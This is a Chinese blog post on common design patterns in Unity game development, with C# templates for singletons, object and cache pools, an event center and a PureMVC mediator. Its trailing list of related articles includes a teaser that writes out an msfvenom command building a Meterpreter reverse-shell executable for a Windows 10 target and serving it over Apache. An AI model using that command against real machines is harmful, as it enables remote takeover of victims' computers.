【Unity程序】Unity游戏开发中常用的设计模式【一】

在这里插入图片描述


👨‍💻个人主页:@元宇宙-秩沅

👨‍💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅!

👨‍💻 本文由 秩沅 原创

👨‍💻 收录于专栏:Unity基础实战

🅰️



文章目录

    • 🅰️
    • 前言
    • 🎶(==1==) 常用设计模式
      • 1.单例模式
      • 2.对象池模式
      • 3.享元模式(缓存池)
      • 4.观察者模式
      • 5.代理模式
      • 6.外观模式
      • 6.工厂模式
      • 7.命令模式
    • 🎶(==2==) 设计模式Unity模板
      • 1.单例模式
      • 2.对象池模式
      • 3.享元模式(缓存池)
      • 4.观察者模式(事件中心)
      • 5.代理模式(Mediator中介)
      • 6.外观模式
    • 🎶(==3==) 程序框架
      • 1. UIManager
      • 2.UIManager中的面板基类BasePanel
    • 🅰️


前言


🎶(1 常用设计模式


1.单例模式


  • 单例模式就像是一个特殊的工厂,它确保一个类只能创建一个对象,就像是工厂只生产一种特定的产品。这种模式有助于确保在整个程序中,某个类的实例只有一个,避免了不必要的资源浪费和数据混乱。

  • 单例模式也可以类比为一个全局的管理员。它确保了在整个应用程序中只有一个实例存在,因此可以用来管理全局状态、资源、配置等,确保这些全局数据在程序中的一致性和唯一性。


2.对象池模式


  • 是创建型设计模式的一种,将对象预先创建并初始化后放入对象池中,对象提供者就能利用已有的对象来处理请求,减少频繁创建对象所占用的内存空间和初始化时间。

  • 对象池模式(Object Pool Pattern):重点在于管理可重用对象的集合,以避免频繁创建和销毁对象带来的性能开销。对象池会预先创建一定数量的对象,并在需要时将它们分配给客户端,客户端使用完毕后将对象归还给池而不是销毁。这样可以避免频繁地创建和销毁对象,提高了性能和资源利用率。


3.享元模式(缓存池)


享元模式(Flyweight Pattern):主要关注的是共享对象以减少内存占用和提高性能。它通过共享尽可能多的相似对象来减少内存使用,特别是当对象具有大量相似的状态时。它通常通过将对象的共享状态(内在状态)与对象的特定状态(外在状态)相分离来实现。


4.观察者模式


在Unity中,观察者模式是一种设计模式,用于实现对象之间的一对多依赖关系。它允许一个对象(称为主题或被观察者)将其状态的改变通知给一组依赖于该对象的其他对象(称为观察者),使得这些观察者能够自动更新。
在Unity中,观察者模式通常使用事件(Event)来实现。被观察者对象定义一个事件,并在适当的时候触发该事件。观察者对象通过订阅(Subscribe)这个事件来注册自己,一旦事件被触发,观察者对象会收到通知并执行相应的操作。

观察者模式在游戏开发中经常使用,例如在实现游戏中的事件系统、UI更新等方面。它提供了一种松耦合的方式,使得对象之间的通信更加灵活和可维护。


5.代理模式


在Unity中,代理模式是一种设计模式,用于通过创建一个代理类来控制对另一个对象的访问。代理类充当了被代理对象的中介,可以在访问被代理对象之前或之后执行一些额外的操作。

在游戏开发中,代理模式常用于以下情况:

  1. 远程代理:在网络游戏中,代理模式可以用于处理客户端和服务器之间的通信。客户端通过代理类与服务器进行通信,代理类负责将请求转发给服务器并返回响应。
  2. 虚拟代理:当处理大量资源时,可以使用代理模式来延迟创建或加载这些资源。代理类可以在需要时才实例化或加载资源,以提高程序的性能。
  3. 安全代理:代理模式可以用于实现访问控制。代理类可以根据用户的权限来控制对某些功能的访问,从而增强系统的安全性。

在Unity中,代理模式可以通过创建一个继承自某个接口的代理类来实现。代理类可以与被代理对象实现相同的接口,并在必要时调用被代理对象的方法或属性。这样,代理类就可以代替被代理对象与其他对象进行交互。


6.外观模式


在Unity中,外观模式是一种设计模式,用于提供一个统一的接口,封装了一组复杂的接口或子系统,并使其更容易使用。外观模式的目的是简化客户端与接口之间的交互,通过隐藏复杂的实现细节,提供一个简单的接口给客户端使用。

  • 在Unity中,外观模式通常用于简化复杂的系统或子系统的使用。例如,当使用Unity的物理引擎时,可以使用Rigidbody外观来处理物体的物理行为。这样,开发者可以使用简单的方法,如AddForce和Rotate,来控制物体的运动和旋转,而不必关心底层的物理计算和碰撞检测。

  • 另一个常见的使用外观模式的地方是在游戏开发中的音频管理中。通过创建一个AudioManager外观,开发者可以使用简单的方法,如PlaySound和StopSound,来控制游戏中的音频播放,而不必直接访问底层的音频引擎。

使用外观模式可以提高代码的可读性和可维护性,简化客户端代码,并且使系统更加灵活和可扩展。


6.工厂模式


在Unity中,工厂模式是一种创建型设计模式,用于封装对象的实例化过程。工厂模式将对象的创建委托给一个工厂类,该工厂类负责根据不同的条件或参数返回适当的对象实例。

  • 工厂模式的主要目的是隐藏对象的创建细节,并提供一种统一的方式来创建对象,使代码更加灵活和可维护。通过使用工厂模式,可以降低代码的耦合性,使得代码的扩展更加容易。

  • 在Unity中,工厂模式常用于创建游戏对象的实例。通过使用工厂模式,可以根据不同的需求和场景,以一种统一的方式来创建游戏对象,并在需要时对其进行初始化和配置。工厂模式可以帮助我们简化游戏对象的创建过程,提高代码的可读性和可维护性。

在Unity中,工厂模式可以通过自定义脚本和组件来实现。通过编写工厂类,可以根据不同的条件或参数来创建不同类型的游戏对象,并将其添加到场景中或作为其他对象的子对象。同时,还可以通过工厂类的接口来控制对象的创建和初始化过程,以及处理对象的销毁和回收。


7.命令模式


在Unity中,命令模式是一种设计模式,用于解耦游戏对象的行为和输入命令之间的关系。该模式通过将命令封装成对象,使得游戏对象不需要直接处理输入命令,而是通过调用命令对象来执行相应的操作。

在命令模式中,通常有四个主要的角色:

  1. 命令(Command):定义了需要执行的操作接口,通常包含一个执行方法(Execute)和一个撤销方法(Undo)。

  2. 具体命令(Concrete Command):实现了命令接口的具体类,包含了具体的操作逻辑。

  3. 命令调用者(Invoker):负责调用具体命令的对象,通常包含一个命令对象的引用。

  4. 接收者(Receiver):真正执行命令的对象,通常是游戏对象或者组件。

在Unity中,可以将输入命令封装成具体的命令对象。当玩家触发某个操作时,比如按下按钮或者触摸屏幕,命令调用者会创建相应的命令对象,并调用其执行方法。命令对象会将具体的操作逻辑委托给接收者来执行。
通过使用命令模式,可以实现游戏对象的行为和输入命令之间的解耦,提高代码的可维护性和扩展性。


🎶(2 设计模式Unity模板



1.单例模式


  • SingleManager
using System.Collections;
using System.Collections.Generic;
using UnityEngine;//不继承Mono的泛型模板
public class SingleManager<T> where T:new()
{private static T instance;public static T GetInstance(){if (instance == null)instance = new T();return instance;}
}
  • SingletonMono
using System.Collections;
using System.Collections.Generic;
using UnityEngine;//继承了 Mono的泛型模板 --激活只能拖拽或者AddComponent
public class SingletonMono<T> : MonoBehaviour where T: MonoBehaviour
{private static T instance;public static T GetInstance(){       return instance;}protected virtual void Awake(){instance = this as T;}}
  • SingletonAutoMono
using System.Collections;
using System.Collections.Generic;
using UnityEngine;//激活--不需要拖拽或者AddComponent--直接在面板中创建
public class SingletonAutoMono<T> : MonoBehaviour where T : MonoBehaviour
{private static T instance;public static T GetInstance(){if( instance == null ){GameObject obj = new GameObject();obj.name = typeof(T).ToString(); //设置对象的名字为脚本名DontDestroyOnLoad(obj);          //过场景 不移除instance = obj.AddComponent<T>();}return instance;}}

2.对象池模式


//音符块(栈)声明private Stack<NoteObject> noteObjectPool = new Stack<NoteObject>();/// <summary>/// 对象池有关/// </summary>/// <returns></returns>public NoteObject GetFreshNoteObject()   // 从对象池中取音符对象{NoteObject retObj;if (noteObjectPool.Count>0){retObj = noteObjectPool.Pop();}else{//资源源//retObj = Instantiate(noteObject);retObj = Instantiate(noteObject);}retObj.transform.position = Vector3.one*2;retObj.gameObject.SetActive(true);//retObj.SetActive(true);retObj.enabled = true;return retObj;}public void ReturnNoteObjectToPool(NoteObject obj)  //将音符对象放入对象池{if (obj!=null){obj.enabled = false;obj.gameObject.SetActive(false);noteObjectPool.Push(obj);}}/// <summary>/// 从特效对象池中取对象/// </summary>/// <param name="stack"></param>/// <param name="effectObject"></param>public GameObject GetFreshEffectObject(Stack<GameObject> stack,GameObject effectObject){GameObject effectGo;if (stack.Count>0){effectGo=stack.Pop();}else{effectGo = Instantiate(effectObject);}effectGo.SetActive(true);  //确保特效对象是激活状态return effectGo;}

3.享元模式(缓存池)


在这里插入图片描述

  • PoolManager
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.Events;// 抽屉数据  public class PoolData
{public GameObject fatherObj;public List<GameObject> poolList;public PoolData(GameObject obj, GameObject poolObj){fatherObj = new GameObject(obj.name);fatherObj.transform.parent = poolObj.transform;poolList = new List<GameObject>() {};PushObj(obj);}//存public void PushObj(GameObject obj){obj.SetActive(false);poolList.Add(obj);obj.transform.parent = fatherObj.transform;}//取public GameObject GetObj(){GameObject obj = null;       obj = poolList[0];     //取第一个poolList.RemoveAt(0);  //然后容器中移除obj.SetActive(true);obj.transform.parent = null;     //断开了父子关系return obj;}
}//缓存池管理器
public class PoolManager : SingleManager<PoolManager>
{//存储衣柜public Dictionary<string, PoolData> poolDic = new Dictionary<string, PoolData>();private GameObject poolObj;//衣柜里面拿东西public void GetObj(string name, UnityAction<GameObject> callBack){//有抽屉 并且抽屉里有东西if (poolDic.ContainsKey(name) && poolDic[name].poolList.Count > 0){callBack(poolDic[name].GetObj());}else{//通过异步加载资源 创建对象给外部用ResourceManager .GetInstance().LoadAsync<GameObject>(name, (obj2) =>{obj2.name = name;callBack(obj2); //异步加载出的资源不能直接给外部使用所以需要委托});}}//放东西进衣柜public void PushObj(string name, GameObject obj){if (poolObj == null)  //防止报错poolObj = new GameObject("Pool");//里面有抽屉if (poolDic.ContainsKey(name)){poolDic[name].PushObj(obj);}else{poolDic.Add(name, new PoolData(obj, poolObj));}}//清空缓存池——在场景切换时public void Clear(){poolDic.Clear();poolObj = null;}
}

4.观察者模式(事件中心)


在这里插入图片描述

using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.Events;public interface IEventInfo
{}public class EventInfo<T> : IEventInfo
{public UnityAction<T> actions;public EventInfo( UnityAction<T> action){actions += action;}
}public class EventInfo : IEventInfo
{public UnityAction actions;public EventInfo(UnityAction action){actions += action;}
}/// <summary>
/// 事件中心 单例模式对象
/// 1.Dictionary
/// 2.委托
/// 3.观察者设计模式
/// 4.泛型
/// </summary>
public class EventCenter : BaseManager<EventCenter>
{//key —— 事件的名字(比如:怪物死亡,玩家死亡,通关 等等)//value —— 对应的是 监听这个事件 对应的委托函数们private Dictionary<string, IEventInfo> eventDic = new Dictionary<string, IEventInfo>();/// <summary>/// 添加事件监听/// </summary>/// <param name="name">事件的名字</param>/// <param name="action">准备用来处理事件 的委托函数</param>public void AddEventListener<T>(string name, UnityAction<T> action){//有没有对应的事件监听//有的情况if( eventDic.ContainsKey(name) ){(eventDic[name] as EventInfo<T>).actions += action;}//没有的情况else{eventDic.Add(name, new EventInfo<T>( action ));}}/// <summary>/// 监听不需要参数传递的事件/// </summary>/// <param name="name"></param>/// <param name="action"></param>public void AddEventListener(string name, UnityAction action){//有没有对应的事件监听//有的情况if (eventDic.ContainsKey(name)){(eventDic[name] as EventInfo).actions += action;}//没有的情况else{eventDic.Add(name, new EventInfo(action));}}/// <summary>/// 移除对应的事件监听/// </summary>/// <param name="name">事件的名字</param>/// <param name="action">对应之前添加的委托函数</param>public void RemoveEventListener<T>(string name, UnityAction<T> action){if (eventDic.ContainsKey(name))(eventDic[name] as EventInfo<T>).actions -= action;}/// <summary>/// 移除不需要参数的事件/// </summary>/// <param name="name"></param>/// <param name="action"></param>public void RemoveEventListener(string name, UnityAction action){if (eventDic.ContainsKey(name))(eventDic[name] as EventInfo).actions -= action;}/// <summary>/// 事件触发/// </summary>/// <param name="name">哪一个名字的事件触发了</param>public void EventTrigger<T>(string name, T info){//有没有对应的事件监听//有的情况if (eventDic.ContainsKey(name)){//eventDic[name]();if((eventDic[name] as EventInfo<T>).actions != null)(eventDic[name] as EventInfo<T>).actions.Invoke(info);//eventDic[name].Invoke(info);}}/// <summary>/// 事件触发(不需要参数的)/// </summary>/// <param name="name"></param>public void EventTrigger(string name){//有没有对应的事件监听//有的情况if (eventDic.ContainsKey(name)){//eventDic[name]();if ((eventDic[name] as EventInfo).actions != null)(eventDic[name] as EventInfo).actions.Invoke();//eventDic[name].Invoke(info);}}/// <summary>/// 清空事件中心/// 主要用在 场景切换时/// </summary>public void Clear(){eventDic.Clear();}
}

5.代理模式(Mediator中介)


在这里插入图片描述

using PureMVC.Interfaces;
using PureMVC.Patterns.Mediator;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;//-------------------------------
//-------功能:  角色面板视图中介
//-------创建者:         -------
//------------------------------/// <summary>
/// 角色面板视图中介
/// 固定:
/// 1.继承PureMVC的Mediator脚本
/// 2.写构造函数
/// 3.重写监听通知的方法
/// 4.重写处理通知的方法
/// 5.可选:重写注册时的方法
/// </summary>
public class RoleViewMediator : Mediator
{//铭牌名public static string NAME = "RoleViewMediator";/// <summary>/// 构造函数/// </summary>public RoleViewMediator( ) : base(NAME){//可以去写创捷面板预设体的逻辑等}/// <summary>/// 重写监听通知的方法,返回需要的监听(通知)/// </summary>/// <returns>返回你需要监听的通知的名字数组</returns>public  override string[] ListNotificationInterests(){return new string[] { PureNotification.UPDATA_ROLE_INFO,PureNotification.ROLE_PANEL };}/// <summary>/// 重写处理通知的方法,处理通知/// </summary>/// <param name="notification">通知</param>public override void HandleNotification(INotification notification){switch (notification.Name){case  PureNotification.UPDATA_ROLE_INFO:(ViewComponent as RoleView).UpdateView(notification.Body as PlayerDataObj); break;}}/// <summary>/// 可选:重写注册方法(他们需要到Facde中注册)/// </summary>public override void OnRegister(){base.OnRegister();}}

6.外观模式



🎶(3 程序框架


1. UIManager


其中的异步加载方法,缓冲时间很有可能会影响参数的及时传递

采用单例模式构造的UIManager脚本,对所有面板类Panel进行管理,在UIManager中

  • ①加载预制体。Canvas和所有面板都以预制体的方式进行异步加载
  • ②构建层级。并构建显示层级(Bot,Mid,Top,System) ,方便面板之间的显隐
  • ③提供面板显示、隐藏、移除和 自定义事件添加的方法

2.UIManager中的面板基类BasePanel


面板基类作为,所需面板的继承源,为其子类提供了很多便利,如下:

  • ①激活查询控件。内部构建了找寻面板中所有UI控件的方法,一激活就寻找并将其存储到字典当中
  • ②精准获取控件。可通过UI控件名字和类型,来精确得到对应UI控件(在字典中遍历)

🅰️


⭐【Unityc#专题篇】之c#进阶篇】

⭐【Unityc#专题篇】之c#核心篇】

⭐【Unityc#专题篇】之c#基础篇】

⭐【Unity-c#专题篇】之c#入门篇】

【Unityc#专题篇】—进阶章题单实践练习

⭐【Unityc#专题篇】—基础章题单实践练习

【Unityc#专题篇】—核心章题单实践练习


你们的点赞👍 收藏⭐ 留言📝 关注✅是我持续创作,输出优质内容的最大动力!


在这里插入图片描述


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/18443.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C语言习题】26.字符逆序

文章目录 1.描述2.解题思路3.具体代码 1.描述 输入描述: 将一个字符串str的内容颠倒过来&#xff0c;并输出。可以有空格 数据范围&#xff1a;1≤&#x1d459;&#x1d452;&#x1d45b;(&#x1d460;&#x1d461;&#x1d45f;)≤10000 1≤len(str)≤10000 输出描述&…

NDIS协议驱动(四)

NDIS 定义对象标识符 (OID) 值&#xff0c;以标识适配器参数&#xff0c;其中包括设备特征、可配置设置和统计信息等操作参数。 协议驱动程序可以查询或设置基础驱动程序的操作参数。 NDIS 还为 NDIS 6.1 及更高版本的协议驱动程序提供直接 OID 请求接口。 直接 OID 请求路径支…

利用EasyCVR视频智能监控技术,构建智慧化考场监管体系

随着科技的进步&#xff0c;视频监控在各个领域的应用越来越广泛&#xff0c;其中在考场中的应用尤为显著。视频监控不仅能够提高考场的监管水平&#xff0c;确保考试的公平、公正和公开&#xff0c;还能有效预防和打击作弊行为&#xff0c;为考生营造一个良好的考试环境。 传…

界面控件DevExtreme v23.2亮点 - 标签、表单、编辑器功能升级

DevExtreme拥有高性能的HTML5 / JavaScript小部件集合&#xff0c;使您可以利用现代Web开发堆栈&#xff08;包括React&#xff0c;Angular&#xff0c;ASP.NET Core&#xff0c;jQuery&#xff0c;Knockout等&#xff09;构建交互式的Web应用程序。从Angular和Reac&#xff0c…

脑图工具 在学习系统架构中的使用

系统&#xff0c;有人把它比作一个黑盒&#xff0c;有人比作一个树洞。呃&#xff0c;其实二者都隐含的表达了一个意思&#xff0c;盘根错节&#xff0c;一言难尽&#xff0c;欲说还休&#xff0c;说了又像是隔靴搔痒&#xff0c;感觉没说透。 学习&#xff0c;理解和展示一个…

计算机组成原理----移码

在网上搜索移码是什么,大概率会搜到一个结论:移码是补码符号位取反,可是真的是这样吗? 传统的有符号整数是将二进制数的首位作为符号位,0表示正数,1表示负数。 但在移码中,我们不再使用单独的符号位来表示正负。而是通过一个固定的偏置量来将所有可能的指数值映射到一个无符…

C语言.顺序表.通讯录

基于顺序表示实现通讯录 1.通讯录项目的功能要求2.代码实现3.头文件处理4.通讯录的具体实现4.1通讯录的初始化与销毁4.1.1通讯录的初始化4.1.2通讯录的初始化销毁 4.2通讯录的添加与删除数据4.2.1通讯录的添加数据4.2.1通讯录的删除数据 4.3通讯录的修改4.4通讯录的查找4.5通讯…

【python】OpenCV—Tracking(10.2)

文章目录 BackgroundSubtractorcreateBackgroundSubtractorMOG2createBackgroundSubtractorKNN BackgroundSubtractor Opencv 有三种背景分割器 K-Nearest&#xff1a;KNN Mixture of Gaussian&#xff08;MOG2&#xff09; Geometric Multigid&#xff08;GMG&#xff09; …

WebGL学习(一)渲染关系

学习webgl 开发理解渲染关系是必须的&#xff0c;也非常重要&#xff0c;很多人忽视了这个过程。 我这里先简单写一下&#xff0c;后面尽量用通俗易懂的方式&#xff0c;举例讲解。 WebGL&#xff0c;全称Web Graphics Library&#xff0c;是一种在网页上渲染3D图形的技术。它…

python中的-1是什么意思

python中的-1是什么意思&#xff1f; -1指的是索引&#xff0c;即列表的最后一个元素。 比如你输入一个列表&#xff1a; a &#xff1d; [1,2,3,4,5,6,7] a[-1]就代表索引该列表最后一个值&#xff0c;你可以 b a[-1] print(b) 结果如下&#xff1a; 7 索引从左往右是…

升级鸿蒙4.2新变化,新增 WLAN 网络自动连接开关!

手机已经成为现代人生活中不可或缺的一部分&#xff0c;手机里的功能可以满足大部分人的生活场景&#xff0c;但是最依赖的应该就是手机网络&#xff0c;手机网络突然变差怎么办——消息发不出去&#xff1f;刷新闻速度变慢&#xff1f;仔细检查后&#xff0c;发现其实不是手机…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

python数据分析——分组操作1

参考资料&#xff1a;活用pandas库 1、简介 借助“分割-应用-组合”&#xff08;split-apply-combine&#xff09;模式&#xff0c;分组操作可以有效地聚合、转换和过滤数据。 分割&#xff1a;基于键&#xff0c;把要处理的数据分割为小片段。 应用&#xff1a;分别处理每个数…

Linux shell编程学习笔记51: cat /proc/cpuinfo:查看CPU详细信息

0 前言 2024年的网络安全检查又开始了&#xff0c;对于使用基于Linux的国产电脑&#xff0c;我们可以编写一个脚本来收集系统的有关信息。对于中央处理器CPU比如&#xff0c;我们可以使用cat /proc/cpuinfo命令来收集中央处理器CPU的信息。 1. /proc/cpuinfo 保存了系统的cpu…

树莓派开箱

1.树莓派4B配置 CPU&#xff1a;64位1.5GHZ四核处理器。 GPU:Broadcom VideoCore VI500MHZ 蓝牙5.0 电源Type C(5V 3A),也可以使用排针链接5V锂电池最大放电电流必须达到3A。 还有千兆以太网等以后用到再说。 接下来进入文章重点 2.镜像文件烧录 前期准备&#xff1a;1…

AI赋能数字人:打造与语音节奏完美匹配的高质量手势动画

在数字化时代,人机交互正以前所未有的速度进化,而AI数字人的发展正是这一进程中的重要里程碑。近期,一项旨在根据语音内容自动生成匹配手势的技术方案引起了广泛关注,该技术不仅增强了数字人的表现力,也为远程沟通、教育、娱乐等多个领域带来了革新性的应用潜力。本文将深…

【leetcode1944--队列中可以看到的人数】

有n人排成一个队列&#xff0c;从左到右编号为0到n-1&#xff0c;height数组记录每个人的身高&#xff0c;返回一个数组&#xff0c;记录每个人能看到几个人。 类比&#xff1a;山峰问题&#xff0c;高的后面的矮的看不见。 从后往前&#xff0c;最后一个元素入栈&#xff0c…

Apifox 更新|编排模式、Markdown 编辑器升级、自动申请 SSL 证书、用户反馈问题优化

Apifox 新版本上线啦&#xff01; 看看本次版本更新主要涵盖的重点内容&#xff0c;有没有你所关注的功能特性&#xff1a; 自动化测试新增「编排模式」Markdown 编辑器全新升级返回响应直接预览 PDF 及视频自动申请 SSL 证书支持配置自定义域名的子目录流式接口支持筛选和清…

Canny算子

Canny算子_百度百科 (baidu.com)https://baike.baidu.com/item/Canny%E7%AE%97%E5%AD%90/8821789?frge_ala 图像处理中最经典的边沿检测算法&#xff1a; Canny边缘检测_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1U4411277i/?spm_id_from333.1007.top_right_bar_…

基于模糊PID控制器的汽车电磁悬架控制系统simulink建模与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 5.完整工程文件 1.课题概述 基于模糊PID控制器的汽车电磁悬架控制系统simulink建模与仿真。 2.系统仿真结果 上面的仿真结果是无控制器和LQG的对比&#xff0c;以及有控制器和LQG的对比仿真。 3.核心程…